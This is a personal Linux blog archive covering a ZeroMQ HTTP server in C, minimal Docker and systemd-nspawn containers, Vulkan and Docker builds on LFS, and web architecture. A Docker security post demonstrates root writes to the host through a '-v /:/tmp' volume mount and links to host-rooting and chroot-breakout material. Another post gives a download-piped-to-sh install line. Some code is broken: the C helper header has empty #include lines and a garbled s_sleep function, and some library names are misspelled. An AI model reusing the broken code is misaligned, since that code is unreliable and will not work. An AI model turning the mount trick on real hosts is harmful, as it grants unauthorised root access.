Glaudiston Blog

Screencast tools for linux

2019-05-20T14:07:00.002-03:00

For screen draw:
gnome add-on "Draw on Your Screen":
https://www.omgubuntu.co.uk/2019/03/draw-on-your-screen-ubuntu-linux

For for keyboard and mouse actions:
key-mon:
https://www.youtube.com/watch?v=raw0OtUej6k

For screen and audio record:
vokoscreen: https://www.youtube.com/watch?v=__zZnv8-Keg

ZMQ - ZeroMQ as a http server

2017-08-02T07:57:00.002-03:00

If you don't know ZMQ, you really should. take a look: http://zguide.zeromq.org/page:all

And yes, it is all that!

You can use any language to use it.

But for me let's stay fast and use C.

You know, just download, build and install like any autotools compliant tool.

For message queue there are a plenty of samples in manual. Then I will not talk about it. But in our web world, we need something to listen HTTP then it allow us to elaborate something like a sync/assync gateway that convert synchronous http request in assynchronous distributed by MQ tasks.

This seems to be complex, but not in ZMQ.

I very busy these days, so just a bit of code for now:

// Minimal HTTP server in 0MQ
#include "zhelpers.h"

int main (void)
{
        int rc;

        // Set-up our context and sockets
        void *ctx = zmq_ctx_new ();
        assert (ctx);

        // Start our server listening
        void *server = zmq_socket (ctx, ZMQ_STREAM);
        zmq_bind (server, "tcp://*:8080");
        assert (server);
        uint8_t id[256];
        size_t id_size = 256;

        while (1)
        {
                // Get HTTP request;
                // first frame has ID, the next the request.
                id_size = zmq_recv (server, id, 256, 0);
                assert (id_size > 0);

                // Get HTTP request
                char *request = s_recv (server);
                puts (request); // Professional Logging(TM)
                free (request); // We throw this away

                // define the response
                char http_response [] =
                        "HTTP/1.0 200 OK\n"
                        "Content-Type: text/html\n"
                        "\n"
                        "Hello, World!\n";

                // start sending response
                rc = zmq_send (server, id, id_size, ZMQ_SNDMORE);
                assert (rc != -1);
                // Send the http response
                rc = zmq_send ( server, 
                         http_response,
                         sizeof (http_response),
                         ZMQ_SNDMORE
                        );
                assert (rc != -1);

                // Send a zero to close connection to client
                rc = zmq_send(server, id, id_size, ZMQ_SNDMORE);
                assert (rc != -1);
                rc = zmq_send(server, NULL, 0, ZMQ_SNDMORE);
                assert (rc != -1);
        }

        rc = zmq_close (server);
        assert (rc == 0);

        rc = zmq_ctx_term (ctx);
        assert (rc == 0);

        return 0;
}

save this block as httpserver.c and build it with

gcc -o httpserver httpserver.c -lzmq

run it and see open http://localhost:8080... just see the magic happening.

Oh... the "zhelpers.h" are in sources, but you can get it here to

#include 
#include 
#include 
#include 
#include 
#include 



// Generate a random number from 0..(num-1)
#define randof(num)     (int) ((float) (num) * random() / (RAND_MAX + 1.0))

// Convert C string to 0MQ string and send to socket
static int s_send (void *socket, char *string)
{
        int size = zmq_send(socket, string, strlen(string), 0 );
        return size;
}

// Receive 0MQ string from socket
//
// WARNING:
//      Remember that the strdup family of functions use malloc/alloc for
//      the new string. It must be manually freed when you are done with it.
//      Failure to do so will allow a heap attack.
static char * s_recv(void *socket)
{
        char buffer[256];
        int size = zmq_recv(socket,buffer, 255,0);
        if ( size == -1 )
                return NULL;
        buffer[size] = '\0';
        return strndup(buffer,sizeof(buffer)-1);
}

// Sleep for a number of milliseconds
static void s_sleep(int msecs)
{
        struct timespec t;
        t.tv_sec = msecs / 1000;
        t.tv_nsec = (msecs % 1000 ) * nanosleep(&t, NULL);
}
//  Return current system clock as milliseconds
static int64_t
s_clock (void)
{
        struct timeval tv;
        gettimeofday (&tv, NULL);
        return (int64_t) (tv.tv_sec * 1000 + tv.tv_usec / 1000);
}

Read the docs.

Running a smallest container using systemd

2017-07-16T20:20:00.000-03:00

To run containers, you don't need docker. You just need linux kernel, and some tools to control kernel resources. Docker is a nice way to use container, but not the only one.

SystemD does the job. So if you have it will can run containers without docker as requirement. Since today systemd is the most used init system in linux world, it is a relevant fact.

In this post I will show you how to create a systemd container from scratch.

First all you need a empty directory where you will create a root file strucutre to be used inside the container. In this example I will run bash.

mkdir lib
cp /bin/bash bin/
cp /lib/ld-2.25.90.so lib
cp /lib/lic.so.6 lib
cp /lib/lidl.so.2 lib
cp /lib/libncursesw.so.6 lib
sudo systemd-nspawn --machine mycontainer --directory $PWD /lib/ld-2.25.90.so /bin/bash

Of course you can do the same with other binaries too. Eg. If you want to know what dependencies does "go" have, just run:

/lib/ld-2.25.90.so --list /usr/bin/go
linux-vdso.so.1 (0x00007fffb84c6000)
libpthread.so.0 => /lib/libpthread.so.0 (0x00007f99059bd000)
libc.so.6 => /lib/libc.so.6 (0x00007f9905618000)
/lib64/ld-linux-x86-64.so.2 => /lib/ld-2.25.90.so (0x0000563342c82000)

Then to run "go" you just need ld-linux.so and libpthread.so

If you want to create a docker image, you can refer to:

http://glaudiston.blogspot.com.br/2015/06/how-to-make-very-very-small-docker.html

Vulkan on LFS using intel i915

2017-04-03T19:49:00.001-03:00

Vulkan comes in mesa. You need to build mesa with vulkan support for your video driver.

You need vulkan sdk:

wget https://vulkan.lunarg.com/sdk/home#sdk/downloadConfirm/1.0.42.2/linux/vulkansdk-linux-x86_64-1.0.42.2.run

To run vulkan sdk samples, you need DRI3 enabled.

- To test if you have dri3 enabled, you can use:

$ cat /var/log/Xorg.0.log | grep DRI3
[ 939.805] (II) intel(0): direct rendering: DRI2 DRI3 enabled

If you don't have it, you need build mesa, dri3proto, xf86-video-intel and xserver.

        url = git://anongit.freedesktop.org/mesa/mesa.git
        url = git://anongit.freedesktop.org/xorg/proto/dri3proto
        url = git://anongit.freedesktop.org/xorg/driver/xf86-video-intel
        url = git://anongit.freedesktop.org/xorg/xserver

- mesa build with dri3 and vulkan drivers

$ ./configure CFLAGS=-O2 CXXFLAGS=-O2 --prefix=/usr --sysconfdir=/etc --enable-texture-float --enable-opengl --enable-gles1 --enable-gles2 --enable-dri --enable-dri3 --enable-glx=dri --enable-nine --enable-openvg --enable-osmesa --enable-xa --enable-gbm --enable-gallium-egl --enable-gallium-gbm --enable-glx-tls --with-egl-platforms=drm,x11 --with-gallium-drivers=i915,swrast --enable-llvm-shared-libs --with-vulkan-drivers=intel --with-dri-drivers=i915,i965

PS: I'm not sure but think you may need copy ...mesa/include/vulcan/* /usr/include/vulkan

- xf86-video-intel

$ ./configure --prefix=/usr --enable-dri3 --disable-dga

dri3proto

$ ./configure --prefix=/usr

- xserver

$ ./configure --prefix=/usr --enable-dri3

And you need configure Xorg to use DRI 3:

$ cat /etc/Xorg/xorg.conf.d/20-intel.conf
Section "Device"
        Identifier "Intel Graphics"
        Driver "intel"
        Option "DRI"   "3"
EndSection

After it you may be able to start X with DRI3 support and use Vulkan samples.

LFS, here we go, again.

2016-11-12T00:40:00.002-02:00

About a year ago I got a new notebook from my work. It comes with ubuntu, so I did keep to build a LFS later, and never did it. Yesterday the unity window manager broked, I tought it would be a bug in ubuntu, so i started the icewm and ignored it to face later, but today my notebook died, nothing left, my ssd is not readable anymore some nice unstable code is gone. ... time to build another LFS... Really.

Minha Estrutura Web Ideal

2016-02-10T12:08:00.002-02:00

Inicialmente pensei em intitular como "Estrutura Web Perfeita", mas acho que perfeição é um termo muito utópico para este contexto. Este é um assunto longo. Existem milhares de tutoriais na internet, e conseguir informação hoje, é como beber água de um hidrante. Tentarei modularizar o assunto, falando de uma estrutura macro aqui, e posteriormente entrando em detalhes de cada módulo.

Após quase 20 anos de desenvolvimento, eu já trabalhei com sistemas estruturados das mais diversas maneiras, e já criei meus próprios sistemas(muitos). O legal disto é você ter a experiência falando a seu favor, e na maioria das vezes o que eu percebo é que o mercado não usa o que é o melhor, mas o que está mais rentável ( para quem ? ).

Muitas vezes um fornecedor de um produto convence um cliente que o produto é bom (mesmo que não seja) e o cliente compra o produto, paga caro, e exige que isto seja usado, mesmo não sendo a melhor (ou sequer uma boa) opção.

Desenvolvedores são criados/educados nestes cenários, e passam pelo treinamento destes fornecedores, que fazer uma espécie de "lavagem cerebral", ensinando centenas de "padrões" e "boas práticas".

Em minha opinião, o melhor seria um sistema totalmente desacoplado, onde não importa qual a tecnologia dos outros módulos. Quem trabalha com terminais de linha de comando, sabe que funciona muito bem a transparência tecnológica neste contexto. Não importa qual tecnologia utilizada, eu tenho um protocolo para chamar um comando e uma resposta padrão. Eu tenho stdin, stdout e stderr sempre... Eu tenho código de retorno para me informar do sucesso ou não do comando... Pipes, etc.

Pesquisando para este artigo, encontrei uma boa referência deste conceito: https://staticapps.org/articles/why-build-static-apps/

Seria algo como:

webapp - Modulo Web Estático, renderizado do lado do cliente(browser) com o uso de javascript/css, com o único controle do lado do servidor sendo o acesso de recursos restritos a autenticação válida. Todo acesso a informações para geração dinâmica de conteúdo, deveria ser requerido via requisições Ajax(XHR) REST ao módulo webapp-api. Pode ser considerado 3 tipos de comunicação: REST, WebSockets e "Push Notifications". Nenhuma outra interface além da webapp-api deve ser chamada.
webapp-api - Modulo Rest para prover dados ao módulo webapp. Usando principalmente comunicações REST(JSON) permitindo um desacoplamento total e independência de plataforma usada no servidor, também pode prover Push Notifications e WebSockets. Sempre stateless (independente de sessão), recebendo token de autenticação sempre que necessário, usando SSL. Este módulo deverá ter acesso a um outro componente centralizador de informações se sessão session-api para permitir escalabilidade, e ao componente de acesso aos dados, data-module.
session-api - Tratar sessão é um problema complicado em escalabilidade, recomendo tópicos em mensageria (MQ), por exemplo o Apache ActiveMQ: (http://activemq.apache.org/). Desta forma, você poderá ter redundância em seu controle de sessão, garantindo uma melhor escalabilidade.
data-module - Para escalabilidade, aqui costuma ser o maior gargalo, normalmente não queremos overhead no gerenciamento de dados. Mas mesmo aqui, penso que mensageria deveria ser considerada como uma opção válida da mesma forma que no componente session-api. Tenho experiência onde a camada de dados foi substituída com sucesso por mensageria, antendendo picos de transações superiores a 800tps. Isto já é muito, mas além disto, esta estrutura facilita ações para ampliar este poder de processamento distribuído.

Esta separação permite substituir qualquer camada por mocks para criação e execução testes unitários, de performance, escalabilidade, penetração, segurança, ou qualquer outro tipo de teste imaginável em cada camada. Também modulariza o sistema de maneira que times separados possam trabalhar de maneira independente, com o menor impacto e conflito possível, apenas dependendo de um bom alinhamento do contrato de cada interface. Outra vantagem seria a possibilidade de reuso da API para outras interfaces, como por exemplo aplicação mobile, utilitários de linha de comando, ou integração com ferramentas de terceiros.

webapp

O browser deve receber um conteúdo estruturalmente estático, que será dinamicamente gerado pelo javascript, baseado em informações providas pelo servidor. Sim, eu sei que em dispositivos móveis antigos, o melhor pode ser entregar o conteúdo pré-renderizado, gerado dinamicamente no servidor, mas falarei minha sugestão sobre isto mais tarde.

Independente de ser conteúdo estático no servidor, continua existindo a necessidade de restringir acesso a alguns recursos, e isto requer uma interface de servidor, como um servlet, um CGI(sim o bom e velho CGI), um AuthenticationFilter ou qualquer outra interface que garanta que o usuário só acesse o conteúdo quando estiver em um contexto autenticado e atualmente válido. Isto, infelizmente, impede que seja usado um simples servidor web estático.

Todos sabemos que o javascript é poderoso o suficiente para renderizar qualquer coisa no cliente, e se no passado o processamento no lado do cliente era um problema, não é mais verdade atualmente. Bem em alguns dispositivos móveis ainda pode ser, mas em pouco tempo não será mais.

Normalmente, se você está tendo problemas de performance na renderização ou manipulação de objetos, você tem algo que precisa ser refatorado.

O front-end, deve ser tratado de forma componentizada, permitindo, via javascript, a reutilização de códigos. O W3C já possui drafts para componentização, mas atualmente a forma mais efetiva continua sendo no formato de plugins, muito utilizado pelo jQuery. Não digo usar o jQuery em si, mas o conceito é ótimo.

Sempre que me perguntam minha opinião sobre geração de html dinâmico do lado do servidor, como jstl, struts, ou algo do tipo, minha resposta é: lixo tecnológico. Durante a evolução tecnológica, surgem vertentes para todos os lados, mas muitas são desnecessárias e são continuadas e/ou defendidas, porque os envolvidos com estas vertentes não querem admitir que escolheram o caminho errado e já investiram muitos recursos com o aprendizado e aplicação delas. No fim, são tecnologias defendidas com interesses secundários que não a melhor qualidade da aplicação. Acho importante ressaltar que eu já trabalhei com estas tecnologias muito e por muitos anos.

webapp-api, session-api, data-module

Acho mesmo que preciso separar estes tópicos em outros posts.

Existem tantas coisas novas no mundo do desenvolvimento de software, mas a verdade que muitos desprezam é que existem coisas que não precisam ser melhoradas. Assim como no mundo real, existem coisas que não precisam ser melhoradas. Não disse que não podem ser melhoradas, disse que não precisam.

Existe uma infinidade de sub tópicos a serem tratados em cada um destes módulos, se eu for levantar aqui não terminarei este artigo.

Como sempre, comentários são bem vindos.

Docker security - Not so perfect as it seems...

2015-07-07T10:52:00.000-03:00

I'm really like docker. It solves the dependency problem in a really nice way, but it adds some ways to break linux security. I think a system is more secure without a docker running as root. But there are ways to control this vulnerabilities, and the great deploy mechanism would be used in production environments.

What is the point ?

Docker daemon run as root. The containers itself runs by docker daemon, so even if you run in a user in docker group, it run as root too. Don't believe me ? try it:

glaudiston:~$ docker run -ti -v /:/tmp ubuntu:14.04 touch /tmp/dockertest
glaudiston:~$ ls /dockertest -l
-rw-r--r-- 1 root root 0 Jun 27 08:50 /dockertest
glaudiston:~$ docker run -ti -v /:/tmp ubuntu:14.04 rm /tmp/dockertest
glaudiston:~$ ls /dockertest -l
ls: cannot access /dockertest: No such file or directory

And more, with docker you can set files to run with setuid permissions, those files can give you root premissions. Look at:

http://reventlov.com/advisories/using-the-docker-command-to-root-the-host

While this can be sufficient to worry too many security guys, there is ways to prevent this disaster.

If you want to prevent your docker user to get host root access, the first thing is to know, that DOCKER IS NOT A SECURITY SANDBOX.

I Did not recommend you to run a untrusted process as root inside a docker container.

If you want to give root to your docker user, you need to ensure that he will not have any way to send files to host, avoiding virtual shares ( -v ) with the hosts file system is main way. Of course this means that your docker user can not run "docker run" command, so you need to manage this.

Another tip: You can run docker on a chroot environment by a script that cleanup any files. But chroot environment isn't that secure. http://pentestmonkey.net/blog/chroot-breakout-perl

Because of it's security flaws docker options are coming to light: http://siliconangle.com/blog/2014/12/02/coreos-launches-container-wars-with-rival-tech-to-fight-docker/, https://coreos.com/blog/rocket/. I'm not so sure if it is more secure than docker because it runs as root anyway.

I'm afraid docker brings linux to great vulnerability. This is because for now, I can't see any really full secure way to run it. A.K.A. run containers without the root.

Maybe running it inside a vangrant or virtualbox vm, but it lost too many benefits from docker performance.

What I see is that doesn't matter, if the process run as root, the host are vulnerable.

There is a point, yes docker is vulnerable, but, if you do control how docker is started, how virtual shares as mapped and what docker user can do on host, you can increase security. Not perfect, but more than nothing.

The real question for me now is, the docker benefits is greater than docker flaws ? I'm sure for development and non critical applications, but I'm not so sure for real productions serious environments.

Building runC on LFS

2015-06-27T07:41:00.002-03:00

Today I receive a email from docker news about runC, seems to be a new way to run containers, In readme it's just a make, but it's never so simple on a LFS.

$GOPATH not set:

$ make
go get github.com/tools/godep
package github.com/tools/godep: cannot download, $GOPATH not set. For more details see: go help gopath
make: ** [all] Erro 1

Easily set by $PWD, but

$ GOPATH=$PWD make
go get github.com/tools/godep
godep go build -o runc .
make: godep: Command not found
make: *** [all] Error 127

anyway, the previous command showed us from where godep command came and that go tried to get it, so where is it?

$ find -name godep
./src/github.com/tools/godep
./bin/godep

then the problem is only path.

$ PATH=$PATH:bin GOPATH=$PWD make
go get github.com/tools/godep
godep go build -o runc .

or just copy bin/godep to /usr/bin.

sudo cp -v bin/godep runc /usr/bin
Password:
“bin/godep” -> “/usr/bin/godep”
“runc” -> “/usr/bin/runc”
$ runc
FATA[0000] runc should be run as root
$ sudo runc
JSON specification file for container.json not found

Seems to be ok, now let's learn something new. But I'll do it in another post.

static ELF dependencies search for docker images

2015-06-24T11:51:00.001-03:00

In my previous post ( http://glaudiston.blogspot.com.br/2015/06/how-to-make-very-very-small-docker.html ), I did a docker image from scratch for running bash. But bash itself don't solve many problems. We need to add our tools and dependencies.

I really don't know a tool to do it, so I wrote a bash script to solve that:

#!/bin/bash
# use:
# getbash.sh /path/to/lib-or-elf.so

LIBLD=/lib64/ld-linux-x86-64.so.2;
LIB="$1";
function getdeps()
{
    {
        echo "$1";
        $LIBLD --list $1 |
                cut -d' ' -f3 | sort | uniq | 
                while read f;  
                do [ ! "$f" == "" ] && [ "$(echo -e "$deps" | grep -c "$f")" == "0" ] && {
                        deps="$deps\n$f";
                        getdeps "$f";
                };  
                done;
    } | sort | uniq;
}

getdeps "${LIB}"

It just use the ld lib to list dependencies and extract the current path to it. Of course it don't can get another resources used by those libs but already is itself a lot of help on tracking it's dependencies.

So, in simples cases, it's halfway to get you static elf in docker running. You can choice if you want to copy all path or just all libs. I think it's better to copy all to one place like:

mkdir deplibs && 
 ./getdeps.sh "/path/to/your/elf" | 
 xargs -i cp -v "{}" ./deplibs;

Another simple script can copy all dependencies to a deps dir in current directory structure.

./getdeps.sh "/path/to/your/elf" | 
    while read f; 
    do d="./deps/$(dirname "$f")"; 
        [ ! -e "$d" ] && mkdir -pv "$d"; 
        cp -v "$f" "$d"; 
    done;

Don't forget to set the LD_LIBRARY_PATH or the /etc/ld.so.conf, according your choice. If you put all your deps in a dir named deplibs, just add these 2 lines to your Dockerfile:

COPY deps/libs /deplibs
ENV LD_LIBRARY_PATH /deplibs

At this time you probably already know how proceed with your Dockerfile.

How to make a very, very, small docker image for dynamic programs.

2015-06-13T12:14:00.000-03:00

I digging in the docker, and I found docker image containers too bigger than they need to be.

If you want a really small and functional docker image, look at "alpine", it uses actually 5.242MB, and has a bash and package manager. I really appreciate this image.

Anyway, I'm just too curious to stay on others job, I need to do it from myself, understand, and then I can accept that others has a better solution and just use it.

In this way, I did started a research to make my own basic functional image.

If you just want a basic structure to use docker with low space usage, use "docker run -ti alpine sh" and be happy. if you, as me, feel the need to learn more, keep reading.

The docker documentation show us how to create a image from scratch. http://docs.docker.com/articles/baseimages/#creating-a-simple-base-image-using-scratch

It's just

FROM scratch
COPY true-asm /true
CMD ["/true"]

If you have a statically linked program, it's all you need to know. Just copy your program and set it in CMD. A nice sample is here in this article/tutorial to create a "go" web server: http://blog.xebia.com/2014/07/04/create-the-smallest-possible-docker-container/

But what about a really clean docker image for dynamic linked programs? what about run bash in a smaller possible docker? Well, for it we need to learn/remember some concepts.

To avoid keep this post to big, you can learn this concepts here: http://www.ibm.com/developerworks/library/l-lpic1-v3-102-3/l-lpic1-v3-102-3-pdf.pdf

In theory, we just need to detect all the dependencies using "ld.so --list" and copy it to our scratch docker.

Let's do a docker image to run /bin/bash:

create a clean directory called docker_bash and enter it.

mkdir docker_bash;
cd docker_bash;

Let's create a Dockerfile to build our image, and see how much space we use:

echo "FROM scratch" > Dockerfile
docker build -t docker_bash .

Sending build context to Docker daemon 2.048 kB
Sending build context to Docker daemon 
Step 0 : FROM scratch
 ---> 
Step 1 : CMD /bin/bash
 ---> Running in 61af7327eb2e
 ---> aeb4860259ea
Removing intermediate container 61af7327eb2e
Successfully built aeb4860259ea

Now we can see that we have a empty image result zero bytes:

$ docker images  |grep docker_bash
docker_bash             latest              aeb4860259ea        8 seconds ago       0 B

My intent is to run a dynamic linked program (bash), so what my dependencies ? the ld.so can say it. To show what is your ld.so, just use:

$ ls /lib/ld-* -l
-rwxr-xr-x 1 root root 163500 Abr 10  2013 /lib/ld-2.17.so
lrwxrwxrwx 1 root root     10 Abr  8  2013 /lib/ld-linux-x86-64.so.2 -> ld-2.17.so

$ /lib/ld-2.17.so --list /bin/bash
        linux-vdso.so.1 (0x00007ffcb03ba000)
        libreadline.so.6 => /lib64/libreadline.so.6 (0x00007fbee994c000)
        libhistory.so.6 => /lib64/libhistory.so.6 (0x00007fbee9744000)
        libncursesw.so.5 => /lib64/libncursesw.so.5 (0x00007fbee94e1000)
        libdl.so.2 => /lib64/libdl.so.2 (0x00007fbee92dd000)
        libc.so.6 => /lib64/libc.so.6 (0x00007fbee8f30000)
        /lib64/ld-linux-x86-64.so.2 => /lib/ld-2.17.so (0x00007fbee9ba8000)

Here you are, all your dependencies. You can do the same in each lib listed to ensure it has no others dependencies. I'm not sure "ld.so --list" show recursive dependencies, I don't think so. But for bash is just these.

The COPY command in Dockerfile just copy from current directory and below, so we need to copy those deps to current directory structure:

$ mkdir {lib{,64},bin}
$ cp /lib64/ld-2.17.so lib64/
$ ln -sv /lib64/ld-2.17.so lib64/ld-linux-x86-64.so.2
“lib64/ld-linux-x86-64.so.2” -> “/lib64/ld-2.17.so”
$ cp /lib64/libc.so.6 lib64/
$ cp /lib64/libdl.so.2 lib64/
$ cp /lib64/libncursesw.so.5 lib64/
$ cp /lib64/libhistory.so.6 lib64/
$ cp /lib64/libreadline.so.6 lib64/
$ cp /bin/bash bin/

Note the symlink was created to our root, but in our image it's correct.

We can use chroot to test our structure:

$ sudo chroot $PWD/ /lib64/ld-linux-x86-64.so.2 
Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]
You have invoked `ld.so', the helper program for shared library executables.
This program usually lives in the file `/lib/ld.so', and special directives
in executable files using ELF shared libraries tell the system's program
loader to load the helper program from this file.  This helper program loads
the shared libraries needed by the program executable, prepares the program
to run, and runs it.  You may invoke this helper program directly from the
command line to load and run an ELF executable file; this is like executing
that file itself, but always uses this helper program from the file you
specified, instead of the helper program file specified in the executable
file you run.  This is mostly of use for maintainers to test new versions
of this helper program; chances are you did not intend to run this program.

  --list                list all dependencies and how they are resolved
  --verify              verify that given object really is a dynamically linked
                        object we can handle
  --inhibit-cache       Do not use /etc/ld.so.cache
  --library-path PATH   use given PATH instead of content of the environment
                        variable LD_LIBRARY_PATH
  --inhibit-rpath LIST  ignore RUNPATH and RPATH information in object names
                        in LIST
  --audit LIST          use objects named in LIST as auditors

ld.so is static and worked in chroot. What about bash ?

$ sudo chroot $PWD/ /bin/bash
I have no name!:/$

You can play with bash bultin commands. When you ready to continue, just exit.

Time to build our image and see how it works.

$ cat >Dockerfile<<EOF
FROM scratch
COPY . /
CMD /bin/bash
EOF
$ docker build -t "docker_bash" .
Sending build context to Docker daemon 3.808 MB
Sending build context to Docker daemon 
Step 0 : FROM scratch
 ---> 
Step 1 : COPY . /
 ---> 8539cef0990d
Removing intermediate container 937d46fb9fa5
Step 2 : CMD /bin/bash
 ---> Running in a95d91c15f87
 ---> 259060ab8e92
Removing intermediate container a95d91c15f87
Successfully built 259060ab8e92
$ docker images  |grep docker_bash
docker_bash             latest              259060ab8e92        About a minute ago   3.799 MB

Our image has about 4MB. runnable ?

$ docker run -ti docker_bash
exec: "/bin/sh": stat /bin/sh: no such file or directory
FATA[0000] Error response from daemon: Cannot start container 8f3ced2cc7fd7c68b9afbf8f884f89ded8342ef58e576baccdc2be72782d5011: [8] System error: exec: "/bin/sh": stat /bin/sh: no such file or directory

the ENTRYPOINT is defalt to /bin/sh (which we don't have) so let's replace it:

$ docker run -ti --entrypoint /bin/bash docker_bash
bash-4.2#

To be more complete, let's replace the ENTRYPOINT on Dockerfile to use ld.so, my final Dockerfile is:

$ cat Dockerfile 
FROM scratch
COPY . /
ENTRYPOINT [ "/lib64/ld-2.17.so" ]
CMD [ "/bin/bash" ]

this way you can build and run it:

$ docker build -t "docker_bash" .
Sending build context to Docker daemon 3.808 MB
Sending build context to Docker daemon 
Step 0 : FROM scratch
 ---> 
Step 1 : COPY . /
 ---> 7f4d4645dacc
Removing intermediate container d44cea18c5e1
Step 2 : ENTRYPOINT /lib64/ld-2.17.so
 ---> Running in fd0b71a445e9
 ---> d8655fc72a5b
Removing intermediate container fd0b71a445e9
Step 3 : CMD /bin/bash
 ---> Running in 7bda8673eb93
 ---> 057518a04f80
Removing intermediate container 7bda8673eb93
Successfully built 057518a04f80
$ docker run -ti docker_bash
bash-4.2#

Note: The ENTRYPOINT and CMD commands in Dockerfile accepts both syntax "ENTRYPOINT /lib64/ld-2.17.so" and "ENTRYPOINT [ "/lib64/ld-2.17.so" ]" in Dockerfile but in the first the command are prepended with "/bin/sh -c". Ref: http://kimh.github.io/blog/en/docker/gotchas-in-writing-dockerfile-en/

But I just did it!

I hope this post can be useful for anyone. (let me know).

Docker for development environments

2015-05-05T14:40:00.003-03:00

Docker is awesome. With it you can abstract almost anything. Once I read a tweet that says something like: "No matter the question, docker is is the answer". I think it's true, not because docker itself solve the question, but because it's a box, and the answers can be inside the box, so it's ease to carry on.

It's clear for me how it can be benefit to not only for productions environments. but for developments environments too.

I think some readers can not understand very well docker, so I'll try to be very instructive.

Conceptually, "docker" gives you a box, so you can organize your things inside the box, if you want a bigger box you can get it from docker too. But you need to know what you want to put in the box to choice the correct box from docker.

Docker use some advanced linux techniques to create a secure sandbox, separating your thinks from the real system. Inside docker, you can not see (per default) the real filesystem, memory and cpu, processes, network connections and interfaces. Seems like virtualization but it's different.

Why docker and virtualization are different ?
Well, in virtualization, you create a complete hardware structure, and load all operation system.
I see 2 big issues on it.
1. Load it is heavy and very, very slow.
2. Since a VM is a new layer of hardware translation, it can not be faster as run your code on host directly.

These 2 issues do not exist in docker, because it run all your things inside the loaded linux kernel.

Of course there are limitations too.
The main limitation in my opinion, is that you can not run windows code inside docker natively. but you can run docker inside the windows(using virtualization).

But back to main topic, how can a developer team be benefit from docker ?
Well, what matter in docker is the docker image. You need to create a docker image with all your dependencies and requisites to deploy your application, or just to share your environment with others team members.

How to do it?
Using docker is easy, you need to learn how to search base images:

docker search centos

Then choice your favorite, and just run it:

docker run -ti centos:centos bash

After it you has a container, a container is a running instance(sandboxed) of a image, into the container you can do anything you want (install and configure your environment), and after generate another image from your container.
To see yours containers, just do:

docker ps -a

To see your images, it's simple too:

docker images

BUT, this way is dirty and dangerous, because you can create a incremental images, too many times you install and remove things that leave unnecessary and possibly problematic trails of libraries and configurations.

To avoid it, you can use a DockerFile.

Dockerfile, is a script used by docker to build a image. So, you can configure anything (like you did in container) in dockerfile. then just build the image from dockerfile.

The problem is dockerfile can be slow to build, due downloading dependencies and other actions, so you can optimize it by creating a custom base image, or caching webfiles, but I do prefer a custom base image.

A custom base image is just a image builded from you with all dependencies. So, it can be base for the final image for your project. To know how to create a dockerFile, read the documentation from docker project: https://docs.docker.com/userguide/dockerimages/#building-an-image-from-a-dockerfile You can connect your docker container to your Xorg server, then you can load any graphical application, like eclipse, in your X server host, without install Xorg in docker container. To do it, here a sample dockerFile to download, install and run eclipse on a centos:docker:

FROM centos:centos6
ENV DISPLAY :0
RUN yum install -y git wget tar gzip java-1.7.0-openjdk-devel.x86_64
RUN wget http://eclipse.c3sl.ufpr.br/technology/epp/downloads/release/luna/SR2/e
clipse-jee-luna-SR2-linux-gtk-x86_64.tar.gz
RUN tar xvf eclipse-jee-luna-SR2-linux-gtk-x86_64.tar.gz
CMD /eclipse/eclipse

you can build it with something like (in dockerfile dir):

docker build -t docker_eclipse .

just run it with:

docker run -v /tmp/.X11-unix:/tmp/.X11-unix docker_eclipse

Docker on LFS - The hard way

2015-04-12T17:32:00.002-03:00

Docker on LFS

The hard way

I know, docker is to make things simple, not hard. BUT I'm supposed to be the guy that solve problems, then I use LFS. This way I'm forced to learn if I want to make any thing work in my environment.

About LFS

LFS (www.linuxfromscratch.org) is not a linux distro, it is a book that instruct you how to build your own linux. I've using it for too many years as my O.S. After configured it's fully functional, but it's not for all people. It's for ones that want to know how things works inside, and are ready to pay the price for it. What price ?... well, let's go ahead with docker instalation and you will see.

My docker knowledge

I'm really new to docker game, until now I've no knowledge of go lang, and only searched a little about docker. After some reading I decided it's a nice tool and I need to know it more and test it in some of my projects. The docker project seems to be well documented, and the README file in source says some good tips to go ahead. so let's move on.

Installing docker

In some distros docker seems to be too simple to install, just:

wget -qO- https://get.docker.com/ | sh

Do not work for me, but give me tips.

One is the reference of instalation documents:
https://docs.docker.com/en/latest/installation/

It can help you, for me I did select "Binaries".
It is a nice tutorial, but lacks important info like kernel compilation features and real dependencies.
so, let's resume:

Dependency: linux kernel options:

Docker needs linux kernel 3.10+
Docker needs kernel with:
CONFIG_CGROUP_*
CONFIG_BRIDGE=m
CONFIG_AUFS_FS=m (patch from aufs3)
CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=m
CONFIG_VETH=m
bridge-utils ( for CONFIG_BRIDGE kernel options)
DO NOT use built-in(eg: y), use modules(m) in kernel.

If you are using kernel option "CONFIG_IKCONFIG=y", you can see the current kernel options using:

cat /proc/config.gz | gunzip

zcat /proc/config.gz

Dependency: AUFS and AUFS-

AUFS(http://aufs.sf.net) is not a option in kernel, so you need to download and patch the kernel, it's not a hard task, only git clone it:
git clone git://git.code.sf.net/p/aufs/aufs3-standalone
and see the README file. It shows to you how to patch you kernel.
(use the command "patch -Np1 -i file.patch" in kernel source dir to apply path)

You will need the aufs-utils too:

git clone git://git.code.sf.net/p/aufs/aufs-util

If you do not make things right, this happens(about aufs):

$docker -D -d
...
WARN[0000] WARNING: Udev sync is not supported. This will lead to unexpected behavior, data loss and errors
DEBU[0000] devicemapper: udev sync support: false
...
FATA[0000] Error running DeviceCreate (CreatePool) dm_task_run failed

NOTE: do not forget aufs-util or you will fall in error (explained later)

Dependency: BRIDGE

kernel options CONFIG_BRIDGE and bridge-utils is mandatory.
If your bridge module (bridge.ko) is not correctly installed, the docker daemon will not start:

$ docker -D -d
INFO[0000] +job serveapi(unix:///var/run/docker.sock)
WARN[0000] graphdriver aufs selected. Warning: your graphdriver directory /var/lib/docker already contains data managed by other graphdrivers: devicemapper
DEBU[0000] Using graph driver aufs
DEBU[0000] Migrating existing containers
DEBU[0000] Creating images graph
DEBU[0000] Restored 0 elements
DEBU[0000] Creating repository list
INFO[0000] +job init_networkdriver()
DEBU[0000] Creating bridge docker0 with network 172.17.42.1/16
DEBU[0000] setting bridge mac address = true
package not installed
INFO[0000] -job init_networkdriver() = ERR (1)
FATA[0000] package not installed

iptables failure:

You problally forget "CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=m".

Success on run docker daemon

So, after this we can start de docker daemon:

INFO[0000] +job serveapi(unix:///var/run/docker.sock)
DEBU[0000] Using graph driver aufs
DEBU[0000] Migrating existing containers
DEBU[0000] Creating images graph
DEBU[0000] Restored 0 elements
DEBU[0000] Creating repository list
INFO[0000] +job init_networkdriver()
